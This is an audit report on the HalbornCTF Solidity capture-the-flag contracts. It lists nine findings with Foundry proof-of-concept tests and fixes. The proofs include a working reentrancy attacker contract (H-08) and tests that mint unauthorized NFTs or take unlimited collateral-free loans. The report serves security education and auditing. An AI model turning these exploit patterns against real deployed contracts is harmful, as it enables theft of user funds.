SMART CONTRACT AUDIT REPORT

Client Firm: Halburn - Web3 and Blockchain Security Solutions

Prepared By: Robert Spadinger

Delivery Date: June 10th, 2024

Project Overview

Project Name	**HalbornCTF_Solidity_Ethereum**
Language	Solidity
Codebase	https://github.com/HalbornSecurity/CTFs/tree/master/HalbornCTF_Solidity_Ethereum

Vulnerability Level	**Total**	**Resolved**
High	8	8
Medium	1	1

Findings

ID	Title	Severity
H-01	Lack of access control on _authorizeUpgrade	HIGH
H-02	Risk of overlap between NFT IDs assigned for airdrops and NFT IDs created by the mintBuyWithETH function	HIGH
H-03	Lack of access control on HalbornNFT::setMerkleRoot	HIGH
H-04	Logical error in HalbornLoans::getLoan allows anyone to take out a loan without the need to provide any collateral	HIGH
H-05	Missing implementation of onERC721Received in the HalbornLoans contract	HIGH
H-06	Calling HalbornLoans::returnLoan increases the amount of usedCollateral instead of decreasing it	HIGH
H-07	Wrong initialization of collateralPrice in HalbornLoans - don't use immutable and constructor on upgradeable contract	HIGH
H-08	HalbornLoans::withdrawCollateral does not respect the CEI pattern - potential loss of funds due to cross-function reentrancy	HIGH
M-01	The require statement in HalbornNFT::mintAirdrops() erroneously enforces that the provided NFT ID already exists	MEDIUM

High

H-01 Lack of access control on _authorizeUpgrade

Links:

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornToken.sol#L44

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornNFT.sol#L73

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornLoans.sol#L74

Description:

There is no access control on the _authorizeUpgrade function on the 3 UUPSUpgradeable contracts (HalbornLoans, HalbornToken, HalbornNFT). This poses a significant security risk as the _authorizeUpgrade function dictates who has permission to upgrade the contract's implementation.

Without access control, a bad actor could call the upgradeToAndCall function on the proxy contract and pass the address of a malicious implementation contract. The upgradeToAndCall function calls the _authorizeUpgrade function (which passes, because there is no access control) and then, _upgradeToAndCallUUPS is called, which upgrades the implementation contract

This means a malicious actor could replace the contract logic with arbitrary code that could withdraw all funds, destroy the proxy contract (by calling selfdestruct in one of the function of the implementation contract) or cause other problems.

Recommended Mitigation Steps:

Ensure the _authorizeUpgrade function on the mentioned contracts (HalbornLoans, HalbornToken, HalbornNFT) use the onlyOwner access control modifier that is provided by the inherited OwnableUpgradeable contract.

```
-  function  _authorizeUpgrade(address) internal  view override {}
+  function  _authorizeUpgrade(address) internal  view override onlyOwner {}
```

H-02 Risk of overlap between NFT IDs assigned for airdrops and NFT IDs created by the mintBuyWithETH function

Link:

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornNFT.sol#L21

Description:

It seems that the IDs assigned for the airdrops are in the lower range (the provided test files use the IDs: 15, 19, 21, 24). The IDs generated by the mintBuyWithETH function are managed by the idCounter variable, which is not initialized. This means the first NFT minted by this function will have the ID = 1, the next will have the ID = 2, and so on. Assuming there is a reserved ID = 15 for an airdrop and this NFT has already been minted, the 15th attempt to mint an NFT using mintBuyWithETH will revert.

At this stage, it will no longer be possible to buy any NFTs and the protocol will no longer be able to earn money from NFT sales.

Recommended Mitigation Steps:

Initialize the idCounter state variable with a sufficiently high value. For example, if 10000 NFTs are reserved for airdrops (IDs: 0 - 9999), then the idCounter needs to be at least at 10000

POC: The following test will fail:

```
function test_UserCanBuySeveralNFTs() public {
    //Alice mints her airdrop NFT (ID = 15)
    vm.prank(ALICE);
    nft.mintAirdrops(15, ALICE_PROOF_1);

    vm.deal(BOB, 100 ether);

    //Bob wants to buy 20 NFTs
    vm.startPrank(BOB);
    for (uint i; i < 20; ++i) {
        nft.mintBuyWithETH{value: 1 ether}();
    }
    vm.stopPrank();

    assertEq(nft.balanceOf(BOB), 15);
}
```

Recommended Mitigation Steps:

Initialize the idCounter state variable in the initialize function in the HalbornNFT contract

```
+ idCounter = 10000;
```

Alternatively, a setIdCounter function could also be provided and called in the initialize function (similar to the setPrice and setMerkleRoot functions).

H-03 Lack of access control on HalbornNFT::setMerkleRoot

Link:

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornNFT.sol#L41

Description:

Because there is no access control modifier on the setMerkleRoot function, anyone can mint unlimited airdrop NFTs.

POC:

```
function test_AnyoneCanMintAirdropNFTs() public {
    Merkle m = new Merkle();
    // Alice wants to mint "free" airdrop NFTs => she simply
    // provides an ID that has not been minted yet
    // and a second node (with arbitrary data) in order to create
    // a merkle root and the required merkle proof data
    bytes32[] memory data = new bytes32[](2);
    data[0] = keccak256(abi.encodePacked(ALICE, uint256(1)));
    data[1] = keccak256(abi.encodePacked(BOB, uint256(2)));

    bytes32 root = m.getRoot(data);
    bytes32[] memory proof = m.getProof(data, 0);

    // Alice calls the setMerkleRoot function with the merkle
    // root she just created and then she calls the mintAirdrops
    // function with the correct NFT ID and the merkle proof
    vm.startPrank(ALICE);
    nft.setMerkleRoot(root);
    nft.mintAirdrops(1, proof);
    vm.stopPrank();

    assertEq(nft.ownerOf(1), ALICE);
}
```

Recommended Mitigation Steps:

Add the onlyOwner access control modifier to the setMerkleRoot function:

```
- function setMerkleRoot(bytes32 merkleRoot_) public {…
+ function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {…
```

H-04 Logical error in HalbornLoans::getLoan allows anyone to take out a loan without the need to provide any collateral

Link:

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornLoans.sol#L60

Description:

The require statement in the getLoan function erroneously evaluates the amount of a loan a user can take out, allowing anyone to mint the maximum amount of Halborn tokens without providing any collateral.

POC:

```
function test_AnyoneCanGetAnUnlimitedLoan() public {
    uint256 freeLoan = type(uint256).max;

    vm.prank(ALICE);
    loans.getLoan(freeLoan);

    assertEq(token.balanceOf(ALICE), freeLoan);
}
```

Recommended Mitigation Steps:

Modify the require statement in the getLoan function:

```
- require(totalCollateral[msg.sender] -
usedCollateral[msg.sender] < amount, "Not enough collateral");

+ require(totalCollateral[msg.sender] -
usedCollateral[msg.sender] >= amount, "Not enough collateral");
```

H-05 Missing implementation of onERC721Received in the HalbornLoans contract

Link:

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornLoans.sol#L39

Description:

The depositNFTCollateral function calls safeTransferFrom on the NFT contract, specifying the HalbornLoans contract as the target. However, the HalbornLoans contract does not implement the required onERC721Received function. Therefore, whenever someone calls depositNFTCollateral, the function will revert.

This means, users won't be able to deposit their NFTs as collateral, and as a consequence, they won't be able to take out a loan.

Recommended Mitigation Steps:

Add the onERC721Received function:

```
import {IERC721ReceiverUpgradeable} from "openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721ReceiverUpgradeable.sol";

...

contract HalbornLoans is  Initializable, UUPSUpgradeable, MulticallUpgradeable, IERC721ReceiverUpgradeable {

...

function onERC721Received(
    address operator,
    address from,
    uint256 tokenId,
    bytes calldata data
) external override returns (bytes4) {
    return this.onERC721Received.selector;
}
```

H-06 Calling HalbornLoans::returnLoan increases the amount of usedCollateral instead of decreasing it

Link:

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornLoans.sol#L70

Description:

Calling the returnLoan function erroneously increases the amount stored in usedCollateral instead of decreasing it. This will prevent the user from withdrawing the maximum available collateral when calling the withdrawCollateral function. It will also prevent the user from taking out the maximum available loan when calling the getLoan function (once the correction discussed in H04 has been applied.)

POC1: Currently, the user cannot withdraw the eligible collateral amount

```
function test_UserCanWithdrawCollateral() public {
    vm.deal(ALICE, 1 ether);

    vm.startPrank(ALICE);
    nft.mintBuyWithETH{value: 1 ether}();
    nft.approve(address(loans), 10001);

    // Alice deposits the NFT 10001 as collateral => totalCollateral == 2 ether
    loans.depositNFTCollateral(10001);
    assertEq(loans.totalCollateral(ALICE), 2 ether);

    // Alice takes a loan of 2 ether => usedCollateral == 2 ether
    loans.getLoan(2 ether);
    assertEq(loans.usedCollateral(ALICE), 2 ether);
    assertEq(token.balanceOf(ALICE), 2 ether);

    // Alice returns the entire loan => usedCollateral SHOULD BE 0 ether !!!
    loans.returnLoan(2 ether);
    assertEq(loans.usedCollateral(ALICE), 0);

    // As the loan has been paid back, Alice should be able to withdraw the collateral
    loans.withdrawCollateral(10001);
    vm.stopPrank();
}
```

POC2: Currently, the user cannot take out the eligible loan amount

```
function test_UserCanGetTheMaximumLoan() public {
    vm.deal(ALICE, 1 ether);

    vm.startPrank(ALICE);
    nft.mintBuyWithETH{value: 1 ether}();
    nft.approve(address(loans), 10001);

    // Alice deposits the NFT 10001 as collateral =>
    // totalCollateral == 2 ether
    loans.depositNFTCollateral(10001);
    assertEq(loans.totalCollateral(ALICE), 2 ether);

    // Alice takes a loan of 1 ether => usedCollateral == 1 ether
    loans.getLoan(1 ether);
    assertEq(loans.usedCollateral(ALICE), 1 ether);
    assertEq(token.balanceOf(ALICE), 1 ether);

    // Alice returns the entire loan => usedCollateral SHOULD BE 0 ether !
    loans.returnLoan(1 ether);
    assertEq(loans.usedCollateral(ALICE), 0);

    // Alice should now be able to get  aloan of 2 ether
    loans.getLoan(2 ether);
    assertEq(loans.usedCollateral(ALICE), 2 ether);

    vm.stopPrank();
}
```

Recommended Mitigation Steps:

Modify the corresponding statement in the returnLoan function:

```
- usedCollateral[msg.sender] += amount;
+ usedCollateral[msg.sender] -= amount
```

H-07 Wrong initialization of collateralPrice in HalbornLoans - don't use immutable and constructor on upgradeable contract

Links:

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornLoans.sol#L15

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornLoans.sol#L21

Description:

When we deploy an upgradeable contract, the constructor of the implementation contract is executed only once, at the time of deployment. However, since the proxy uses the implementation's logic but NOT its storage, the value of collateralPrice that is defined as immutable and set in the constructor will not be available in the proxy storage. This means, the value of collateralPrice in the proxy storage will be 0 and not 2 ETH as intended.

Therefore, when a user calls the setCollateralPrice function, the value of the totalCollateral mapping will remain 0 and the user won't be able to take out a loan, because the require statement in the getLoan function will revert.

As there is no setter function for the collateralPrice, it is not possible to adjust the collateralPrice. This means no one will be able to take out a loan (the core feature of the protocol), rendering the protocol nonfunctional.

Recommended Mitigation Steps:

Delete the constructor and the immutable keyword. Add a setCollateralPrice function and call it from the initialize function:

```
+ import {OwnableUpgradeable} from "openzeppelin-contracts-
upgradeable/contracts/access/OwnableUpgradeable.sol";

contract HalbornLoans is
    Initializable,
    UUPSUpgradeable,
+   OwnableUpgradeable,
    MulticallUpgradeable,
    IERC721ReceiverUpgradeable {  ...


- uint256 public immutable collateralPrice;
+ uint256 public collateralPrice;


- constructor(uint256 collateralPrice_) {
-     collateralPrice = collateralPrice_;
- }


function initialize(address token_, address nft_, uint256
collateralPrice_) public initializer {
    __UUPSUpgradeable_init();
+   __Ownable_init();
    __Multicall_init();

    token = HalbornToken(token_);
    nft = HalbornNFT(nft_);

+  setCollateralPrice(collateralPrice_);
}


+ function setCollateralPrice(uint256 collateralPrice_)
+ public onlyOwner {
+    require(collateralPrice_ != 0, "Price cannot be 0");
+    collateralPrice = collateralPrice_;
+ }
```

H-08 HalbornLoans::withdrawCollateral does not respect the CEI pattern - potential loss of funds due to cross-function reentrancy

Links:

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornLoans.sol#L54C9-L55C21

Description:

The withdrawCollateral function does not follow the Check-Effects-Interactions (CEI) pattern, making the contract vulnerable to reentrancy attacks. It performs a call to safeTransferFrom on an ERC721 token, which can trigger reentrancy through the onERC721Received hook.

If the target address of the safeTransferFrom call is a smart contract, the onERC721Received function will be called on that contract. An attacker could exploit this to reenter the contract and call the getLoan function, allowing them to take out a loan with zero collateral remaining.

POC:

Add the following attacker contract:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {IERC721Receiver} from "openzeppelin-
contracts/contracts/token/ERC721/IERC721Receiver.sol";

interface IHalbornLoans {
    function getLoan(uint256 amount) external;
}

contract Attacker is IERC721Receiver {
    address public loans;

    constructor(address loans_) {
        loans = loans_;
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external override returns (bytes4) {
        if (from == loans) {
            //the loans contract is sending our NFT =>
            //reenter and call getLoan
            IHalbornLoans(loans).getLoan(2 ether);
        }

        return this.onERC721Received.selector;
    }
}
```

Add the following statements to the test contract:

```
import {Attacker} from "../src/Attacker.sol";
...
contract HalbornTest is Test {
...
Attacker public attacker;
```

Add the following test that shows how an attacker can deposit collateral, immediately withdraw that collateral and reenter the HalbornLoans contract in order to take out a loan with zero collateral:

```
function test_UserCanWithdrawCollateralAndGetLoan() public {
    attacker = new Attacker(address(loans));

    vm.deal(address(attacker), 1 ether);

    vm.startPrank(address(attacker));
    nft.mintBuyWithETH{value: 1 ether}();
    nft.approve(address(loans), 10001);

    loans.depositNFTCollateral(10001);
    assertEq(loans.totalCollateral(address(attacker)), 2 ether);

    //the loan contract is now the owner of our NFT
    assertEq(nft.ownerOf(10001), address(loans));
    assertEq(token.balanceOf(address(attacker)), 0);

    //withdraw NFT => reenter into loan contract and call getLoan
    loans.withdrawCollateral(10001);

    //now, the attacker is the owner of the NFT AND the loan
    assertEq(nft.ownerOf(10001), address(attacker));
    assertEq(token.balanceOf(address(attacker)), 2 ether);

    vm.stopPrank();
}
```

Recommended Mitigation Steps:

Modify the code in the withdrawCollateral function to follow the Check-Effects-Interactions (CEI) pattern:

```
function withdrawCollateral(uint256 id) external {
    require(
        totalCollateral[msg.sender] - usedCollateral[msg.sender] >=
            collateralPrice, "Collateral unavailable"
    );
    require(idsCollateral[id] == msg.sender, "ID not deposited by caller");

+   totalCollateral[msg.sender] -= collateralPrice;
+   delete idsCollateral[id];

    nft.safeTransferFrom(address(this), msg.sender, id);

-   totalCollateral[msg.sender] -= collateralPrice;
-   delete idsCollateral[id];
}
```

Medium

M-01 The require statement in HalbornNFT::mintAirdrops() erroneously enforces that the provided NFT ID already exists

Risk: Medium - High (depending on the value of the NFT and the time and effort invested by participants to be eligible for the airdrop)

Link:

https://github.com/HalbornSecurity/CTFs/blob/e0e91e535617f9ed3bfeb5db740e7c9782dca1ee/HalbornCTF_Solidity_Ethereum/src/HalbornNFT.sol#L46

Description:

An eligible user will receive a unique ID (for an NFT that has not been minted yet) and a valid merkleProof. With that information, the user can call the mintAirdrops function and mint an NFT.

Currently, the following require statement is used:

```
require(_exists(id), "Token already minted");
```

This, however enforces that an NFT with the provided ID already exists, which of course is not the case. Therefore, eligible airdrop participants won't be able to mint their NFTs.

POC: The following test will fail:

```
function test_EligibleUserCanMintNFT() public {
    //Alice is eligible to mint the NFT with ID = 15
    vm.startPrank(ALICE);
    nft.mintAirdrops(15, ALICE_PROOF_1);
    vm.stopPrank();

    assertEq(nft.ownerOf(15), ALICE);
}
```

Recommended Mitigation Steps:

Modify the require statement to enforce that an NFT with the provided ID does not yet exist:

```
- require(_exists(id), "Token already minted");
+ require(!_exists(id), "Token already minted");
```